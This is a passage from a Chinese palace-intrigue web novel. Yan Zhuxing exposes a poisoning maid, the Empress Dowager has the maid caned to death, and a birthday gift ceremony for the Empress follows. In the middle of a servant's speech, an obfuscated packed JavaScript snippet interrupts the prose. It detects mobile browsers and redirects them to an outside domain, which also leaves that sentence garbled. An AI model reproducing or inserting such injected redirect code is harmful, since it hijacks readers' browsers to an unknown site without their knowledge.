但此刻她哪里敢攀扯晏逐星,只得扑通跪倒在地:“县主,老奴冤枉啊。这鱼早就死了,是这两个死丫头看管不力,害死了鱼,所以想污蔑到老奴身上啊。” “那苏嬷嬷为何会出现在这?”晏逐星一句话打乱了她的节奏。 她继续甩锅:“老奴担心这两丫鬟靠不住,会毁了县主精心准备礼物,特意来检查一二,不曾想,这鱼竟然死了。” “你还敢狡辩,这鱼分明是你用毒针害死的,我和九栀姐姐都看见了!”双鲤愤怒大喊。 她没想到都这样了苏嬷嬷还能睁眼说瞎话。 “那这针你怎么解释?”晏逐星面色依旧没有缓和。 苏嬷嬷这是真解释不了,她只能转移话题:“县主若是不信,可以请人来验,这条鱼究竟是什么时候死的!肯定不是老奴来了才死的!” “县主若执意冤枉老奴,那老奴只能请太后娘娘替我做主了!” “太后老人家日理万机,哪有空来处理这些小事。”晏逐星面无表情地开口。 “既然嬷嬷说冤枉,那便报官吧。让京兆尹来断一断此案。” 苏嬷嬷心头咯噔一跳,来不及反驳,就被九栀给堵住了嘴。 没过多久,京兆府的官员就被请到了家中来。 来的是老熟人——郑晗。 如今裴明镜不在了,郑晗便跟着新的京兆尹办案。 听闻令嘉县主这边有案情,他便赶紧来了。 裴大人辞官后给他递过礼物,嘱咐过他若是遇上了令嘉县主的案子,记得在合理的范围里,多帮帮她,不要让人为难她。 因此郑晗瞧见晏逐星,便露出了十二万分热情的笑脸。 “县主报案,所为何事?” 晏逐星看了双鲤一眼,双鲤立刻站出来叭叭叭地就把事情经过说完了。 “这恶奴害死了我们县主给皇后娘娘准备的贺寿礼……” “大人,老奴冤枉啊!”苏嬷嬷大喊了起来。 但郑晗问了和晏逐星一样的问题。 问苏嬷嬷为何会拿有带毒的针出现在这里,她解释不清楚了。 “搜!”郑晗冷着脸下令。 不一会儿,官差就从苏嬷嬷床褥下边搜出了一小瓶砒霜,正和针上的毒一模一样。 那条鱼,也是死于砒霜而亡。 听到结果,苏嬷嬷目瞪口呆。 这分明是陷害!!! 她用的毒根本不是砒霜。 “如今人证物证确凿,你还敢狡辩?!”郑晗怒气冲冲地踹了她一脚。 “大虞律令,婢仆损毁主家财物,值过三钱者,当众鞭笞一百,着牛筋重鞭,分两日行刑,血浸透三重麻衣方止。” “我要见太后,我要见太后!!!我的身契在太后手里,你们无权处置我。”苏嬷嬷尖叫了起来。 若是真挨上一百鞭,她不用活了。 但府里的人除了她,都是永安王给晏逐星的人,他们只听晏逐星的。 因而无人搭理她。 郑晗看出了那条鱼的不对劲,但他没说出来,只是提醒了晏逐星一声:“县主,按照律法,她的生死确实得由太后来决断。” 晏逐星微微一笑:“郑大人说笑了,本县主岂是那种打打杀杀之人。她毁了本县主送给皇后娘娘的贺礼,我自然要找太后娘娘为我做主。烦请郑大人陪我入宫,做个证人。” 郑晗:“……” 合着报官的作用在这呢。 如今他们已经确认此案就是苏嬷嬷所为,太后若要保住苏嬷嬷,那岂不是承认太后宫里出来的人可以随意对皇后不敬么。 入了太后的长乐宫,怕是太后更想弄死苏嬷嬷了吧。 根本用不着这位令嘉县主动手。 事已至此,他只得随晏逐星入宫了。 * 太后万万没想到,皇后生辰这一天,她的长乐宫先热闹了起来。 看着地上跪着的苏嬷嬷,她气得牙齿都要咬碎了。 蠢货,这点小事都办不好。 如今还被人扣上了“毁祥瑞、断福泽、损国运”这样的大帽子,活着还有什么用。 她看着跪在地上的苏嬷嬷,冷声下令:“这刁奴竟然敢欺主!拉下去杖毙!” “不要啊太后娘娘,太后娘娘饶命啊。” “老奴知错了,太后娘娘。” 苏嬷嬷没想到回了宫,太后竟然第一个舍弃了她,她失声痛哭。 喊了两句见太后铁了心不护着自己,她忍不住愤慨大喊:“明明是……” 但她后面的话永远都说不出来了。 太后的人已经捂住了她的嘴,行刑者用了最大的力气,不到十杖,苏嬷嬷就彻底咽气了。 一大早,太后宫里就来了京兆府官员的事情传遍了整个后宫。 众人还知道,太后娘娘杖毙了一个嬷嬷。 苏嬷嬷被杖毙,郑晗知道自己的作用没了,老老实实地提出了告辞。 太后心情不好,冷着脸让人把他送了出去。 晏逐星看着太后,柔声道:“这刁奴仗着自己是太后宫里出去的,竟然如此胆大妄为。太后娘娘,不如您重新给臣女挑个嬷嬷吧。如今臣女身边只有花嬷嬷一人,恐怕不方便。” 太后有些惊讶,没想到晏逐星竟然还愿意要她指派的嬷嬷。 难不成今日苏嬷嬷被抓,不是晏逐星有意设计的,而是苏嬷嬷自己太蠢了? “难不成是太后娘娘不愿?那臣女只能去恳求皇后娘娘了。”晏逐星露出了伤心的表情。 太后一时间摸不准晏逐星到底什么意思。 思索片刻后,叹了一口气,轻轻拍了拍她的手:“苏嬷嬷这刁奴,是哀家看走了眼。这一回啊,还是令嘉你亲自来挑人吧。这长乐宫里,你喜欢谁,只管要走就是。” “太后娘娘对我真好。”晏逐星故作天真。 太后在心底冷笑:反正你也活不过今夜了,挑吧挑吧,挑谁都一样。 但面上却还是保持着慈爱的笑。 “难得你对了哀家的脾性,哀家不对你好,对谁好。” “那臣女可就不客气咯~”晏逐星大大方方地挑了起来。 站在一旁的花嬷嬷百思不得其解。 县主好不容易才将太后安插的眼线赶出去了,如今来这一出,又是为了什么? 第219章 在羞辱皇后 “这个,这个,那个,那个,臣女瞧着都挺面善,挺有眼缘的,不知太后娘娘可否割爱,让臣女将他们都带走。”晏逐星挑了八个人,脸上露出一抹腼腆的笑。 “毕竟摘星山庄那边太大了,臣女如今身边实在是缺人啊。” 从嬷嬷到宫婢,甚至是小太监,她都点了。 太后嘴角抽了抽。 这丫头究竟是真的傻还是扮猪吃老虎,从她身边要那么多眼线过去,自找苦吃? “你能看得上他们,那是他们的福气。还不拜见令嘉县主。”太后嘴角含笑,将人赏给了晏逐星。 晏逐星见她答应,悄悄松了一口气。 永安王让她带走的人,她要到了。 长乐宫发生的事情,很快就传遍了整个后宫。 “皇后娘娘,令嘉县主领着京兆府郑大人去了长乐宫。”妙檀将长乐宫的消息打听到,第一时间告诉了皇后。 “哦?”崔皇后有些疑惑,一大早的怎么就报官了。 听完了整个来龙去脉,崔皇后忍不住笑了起来。 “本宫没看错她,是个聪明伶俐的孩子。” 笑过之后,脸色又变得凝重了起来。 不过是一个贺礼,就有人按捺不住了。 那待会儿宴会正式开始,还不知道有多少牛鬼蛇神要跳出来**情。 崔皇后冷冷道:“让宫里的人都给本宫打起精神来,不要闹出什么岔子。” “是。”宫女们都紧张了起来。 未央宫上下一片忙碌。 晏逐星要到了人,太后便将她支走了。 “你既然为皇后生辰宴而来,你先去未央宫吧。哀家稍作休息,晚些时候再去。” “臣女遵命。”晏逐星恭顺地应下。 太后盯着她的背影,气得咬紧了后槽牙。 她实在不想看到这扫把星了,更不想和她一块去未央宫,省得那些没眼色的人误会她是晏逐星的靠山。 皇帝说因为她喜欢晏逐星才特意封的县主已经把她怄**,再让晏逐星沾她的光,她是真怕朝华和福安到梦里跟她诉苦了。 晏逐星去到未央宫时,先去给崔皇后行礼。 崔皇后忙着见其他人,便让妙檀先将她领出去和同龄的公主们玩。 “好好照顾好令嘉县主,莫要让人欺负了她。”崔皇后郑重交代。 “是。”妙檀应下,将她领到了宴会花厅。 晏逐星一看,发现宫里几位未出嫁的公主都到了,嘉敏郡主也到了。 她一出现,她们的目光就齐刷刷地落到了她身上。 “令嘉见过八公主、九公主、十公主,见过嘉敏郡主。”晏逐星客客气气地行礼。 八公主谢娇和九公主谢妙对晏逐星一直不喜,因而并没有回应她的行礼,打算晾她一晾。 不曾想,十公主谢媞却笑着将她搀扶了起来。 “令嘉姐姐,上回皇后娘娘说要请你指点我练破阵舞,却因为你脚伤了耽误了,如今咱们可算见着了。” “那是皇后娘娘抬爱,十公主本来就跳得很好,无需臣女来锦上添花。”晏逐星察觉到她的善意,语气也十分友善。 “哟,我怎么不知道你还会跳舞呢?真是多才多艺啊,令嘉妹妹。”嘉敏郡主也来凑趣。 “略懂一二,比不得郡主。”晏逐星浅浅一笑。 她俩对晏逐星的热情,反倒衬托得八公主和九公主有些倨傲了。 两人脸色顿时有些不好看。 “听说你如今搬去了京郊那个温泉山庄,住得如何,好玩么?”嘉敏郡主将她们当做空气,一味地和晏逐星闲聊。 晏逐星一一回应了她的问题。 嘉敏郡主得知她那比京城里凉快,当即嚷嚷着要去做客。 谢媞也跟着时不时搭话,反倒把谢娇和谢妙衬托得像局外人了。 谢娇气不过,转身就走了。 谢妙赶紧跟上。 嘉敏郡主见她们走了,挑眉一笑:“啧,还以为能坚持久一点呢。就这?” 晏逐星也忍不住笑了起来。 谢娇和谢妙打的应该是孤立她的主意吧,不曾想,却反被她们给孤立了。 嘉敏郡主瞥了一眼一旁的谢媞:“你不走?” 谢媞眨巴着眼睛:“嘉敏表姐要赶我走么?” “我可没说。你愿意呆着就呆着吧,可别等我们走了,回头你被欺负了,没地哭可别赖我们。”嘉敏郡主意有所指。 谢媞像是听不懂,继续夹着面前的凉糕吃,只一味点头。 八皇姐和九皇姐话太多了,还整天说她不喜欢听的话,她不想卷到她们里面去。 还是和嘉敏郡主还有令嘉县主待在一起的好。 她俩不说皇后娘娘的坏话,安全! 等会吃够了她就去找母妃。 这时,后宫的妃嫔也陆陆续续到齐了。 宫女们急忙将各位贵人领到他们自己的坐席上。 晏逐星和嘉敏郡主坐一块。 衔蝉半跪在一旁伺候她,顺便低声给她讲解谁是谁。 “皇后座下的四妃,王贵妃、卢贤妃、郑德妃和杨淑妃。” “王贵妃诞下了一个皇子一个公主,分别是景王谢明奕,三公主谢婳。” “卢贤妃生下的是睿王谢允恪。” “郑德妃生下的是五皇子谢承熙,尚未及冠,因而没有封王。五皇子腿有疾,您若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944301|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宫中瞧见了坐轮椅上的贵人,那就是他了。” “四妃里只有淑妃娘娘没有诞下皇子,只生了一个六公主谢娆。” …… 这些名字,上辈子晏逐星也听过,但是要认脸还真有点认不清。 今日倒是让她认了个齐全。 众人依次落座后,便是献礼环节。 崔皇后端坐主位,笑容温婉,她再次温和地重申:“本宫今日生辰,一切以简朴为上,心意到了即可。” 文昭帝点了点头:“正是如此。” 打头阵的是太子夫妇。 太子妃双手捧着一只朴素的紫檀木匣,太子谢元宸在皇后面前恭敬打开。 匣中放着一卷墨色凝重的《金刚经》手抄本和一幅针法精妙的佛经绣品。 “母后,”太子朗声道,“许州大旱,黎民维艰。儿臣遵懿旨,俭省为要。此乃儿臣沐手恭抄的《金刚经》,为母后祈康寿;另有太子妃日夜虔绣的佛经一卷,焚香祷祝,祈佑灾消雨降。” 而后太子妃与太子一同开口:“儿臣恭贺母后,千秋万岁,松柏长青。” “好孩子,有心了。”崔皇后笑意盈盈地命身边的大宫女收下了礼物。 他们送完了贺礼,便轮到了景王谢明奕。 众人望了过去,都想知道他会送什么,不会也是手抄佛经和刺绣吧? 只见景王谢明奕手捧一个粗陶小花瓶,里边插着几枝还带着露水的野花。 景王妃林婉知跟在一旁,抿着唇,脸涨得通红。 谢明奕却恍若不觉周遭异样的目光,朗声道:“恭贺母后生辰千岁!此乃儿臣今晨特意踏露亲至西山采撷的草木之花。” “儿臣想着,母后心系黎民,定不愿见那些奢靡之物。此等山野草芥,正合母后体恤万民、与百姓共甘苦之心。愿母后如这野花一般,百折不挠,岁岁常青!” 文昭帝的眉头顿时皱了起来。 崔皇后脸上的笑意也淡了几分。 众人抿着唇,一言不发。 景王这番话明褒暗贬,说什么百折不挠,岁岁常青,实际上不就是暗讽皇后上不得台面,只配得上这些野花野草么。 唯有王贵妃和太后,还有谢明奕脸上都带着笑。 众人都替皇后捏了一把汗。 若是训斥景王,倒显得她嫌弃这山野之物,心胸狭隘,容不得这份“别致”的心意。 可若是不训斥,任由他以体恤之名行轻慢之实,皇后的威严又置于何地? 岂不是默认了自己只配得上这山野草芥,甘愿被他如此轻贱? 就在众人思索着是不是说点什么时,永安王谢翊宁就一步跃上前。